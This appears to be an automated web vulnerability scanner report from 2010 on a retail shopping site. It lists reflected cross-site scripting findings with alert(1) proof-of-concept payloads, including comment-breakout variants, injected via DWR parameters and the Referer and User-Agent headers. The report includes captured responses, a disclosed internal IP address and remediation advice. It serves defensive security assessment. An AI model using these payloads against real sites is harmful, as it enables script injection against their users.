This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the c0-scriptName request parameter is copied into the HTML document as plain text between tags. The payload e53ce<script>alert(1)</script>7326d3adaf was submitted in the c0-scriptName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Content-Length: 414 Content-Type: text/javascript; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T X-Powered-By: Servlet/2.5 JSP/2.1 Date: Tue, 23 Nov 2010 02:00:31 GMT
//#DWR-REPLY if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: StoreLocatorDwre53ce<script>alert(1)</script>7326d3adaf' }, '0'); else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: StoreLocatorDwre53ce<script> ...[SNIP]...
The value of the callCount request parameter is copied into the HTML document as plain text between tags. The payload b811b<script>alert(1)</script>0111e3df274db08fe was submitted in the callCount parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Content-Length: 472 Content-Type: text/javascript; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T X-Powered-By: Servlet/2.5 JSP/2.1 Date: Tue, 23 Nov 2010 02:00:28 GMT
//#DWR-REPLY if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 1b811b<script>alert(1)</script>0111e3df274db08fe' }); else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 1b811b< ...[SNIP]...
The value of the batchId request parameter is copied into the HTML document as plain text between tags. The payload a8390<script>alert(1)</script>6698c374af7 was submitted in the batchId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c0-id request parameter is copied into the HTML document as plain text between tags. The payload 1f968<script>alert(1)</script>72924f69b1d was submitted in the c0-id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c0-param0 request parameter is copied into the HTML document as plain text between tags. The payload 7bf91<script>alert(1)</script>86af7a0ed6d was submitted in the c0-param0 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c0-scriptName request parameter is copied into the HTML document as plain text between tags. The payload efd2c<script>alert(1)</script>6873671f39a was submitted in the c0-scriptName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Content-Length: 432 Content-Type: text/javascript; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T X-Powered-By: Servlet/2.5 JSP/2.1 Date: Tue, 23 Nov 2010 01:54:45 GMT
//#DWR-REPLY if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: WirelessSolutionHandlerefd2c<script>alert(1)</script>6873671f39a' }, '1'); else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: WirelessSolutionHandlerefd2c<script> ...[SNIP]...
The value of the callCount request parameter is copied into the HTML document as plain text between tags. The payload 32b02<script>alert(1)</script>70c4d6214bd3d44d was submitted in the callCount parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Content-Length: 470 Content-Type: text/javascript; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T X-Powered-By: Servlet/2.5 JSP/2.1 Date: Tue, 23 Nov 2010 01:54:43 GMT
//#DWR-REPLY if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 132b02<script>alert(1)</script>70c4d6214bd3d44d' }); else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 132b02< ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload d1f95<script>alert(1)</script>bd1b04255ca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 38a23<script>alert(1)</script>c30a5e06ce9 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into an HTML comment. The payload 63033--><script>alert(1)</script>89cd575974e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Tue, 23 Nov 2010 01:54:22 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Length: 3645 Content-Type: text/html; charset=UTF-8
<html> <head> <title>Page not found/Page non trouv..e bell </title> <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/> <!--[if lte IE 6 ...[SNIP]... <!-- Referrer is http://www.google.com/search?hl=en&q=63033--><script>alert(1)</script>89cd575974e --> ...[SNIP]...
The value of the Referer HTTP header is copied into an HTML comment. The payload 21c7e--><script>alert(1)</script>c8db6e1fe3b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of the Referer HTTP header is copied into an HTML comment. The payload 3abfa--><script>alert(1)</script>24942adf42c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Tue, 23 Nov 2010 01:53:58 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Length: 3645 Content-Type: text/html; charset=UTF-8
<html> <head> <title>Page not found/Page non trouv..e bell </title> <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/> <!--[if lte IE 6 ...[SNIP]... <!-- Referrer is http://www.google.com/search?hl=en&q=3abfa--><script>alert(1)</script>24942adf42c --> ...[SNIP]...
The value of the Referer HTTP header is copied into an HTML comment. The payload ac085--><script>alert(1)</script>2445d0ca648 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Tue, 23 Nov 2010 01:54:23 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Length: 3645 Content-Type: text/html; charset=UTF-8
<html> <head> <title>Page not found/Page non trouv..e bell </title> <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/> <!--[if lte IE 6 ...[SNIP]... <!-- Referrer is http://www.google.com/search?hl=en&q=ac085--><script>alert(1)</script>2445d0ca648 --> ...[SNIP]...
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
<br /> <br /> <pre>coldfusion.runtime.TemplateNotFoundException: File not found: /favicon.ico9fc66"><script>alert(1)</index.cfm at coldfusion.filter.PathFilter.invoke(PathFilter.java:77) at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:47) at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28) at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:35) at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:43) at coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22) at coldfusion.CfmServlet.service(CfmServlet.java:105) at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:91) at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42) at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:257) at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:541) at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:204) at jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:318) at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:426) at jru ...[SNIP]...
<br /> <br /> <pre>coldfusion.runtime.TemplateNotFoundException: File not found: /favicon.ico9fc66"><script>alert(1)</index.cfm at coldfusion.filter.PathFilter.invoke(PathFilter.java:77) at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:47) at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28) at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:35) at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:43) at coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22) at coldfusion.CfmServlet.service(CfmServlet.java:105) at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:91) at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42) at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:257) at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:541) at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:204) at jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:318) at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:426) at jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:264) at jrunx.sche ...[SNIP]...
The following RFC 1918 IP address was disclosed in the response:
172.26.25.7
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
HTTP/1.1 404 Not Found Content-Length: 3604 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Date: Tue, 23 Nov 2010 02:06:01 GMT
<html> <head> <title>Page not found/Page non trouv.e</title> <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/> <!--[if lte IE 6]> <link rel="st ...[SNIP]...
HTTP/1.1 404 Not Found Content-Length: 3604 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Date: Tue, 23 Nov 2010 02:06:04 GMT
<html> <head> <title>Page not found/Page non trouv.e</title> <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/> <!--[if lte IE 6]> <link rel="st ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.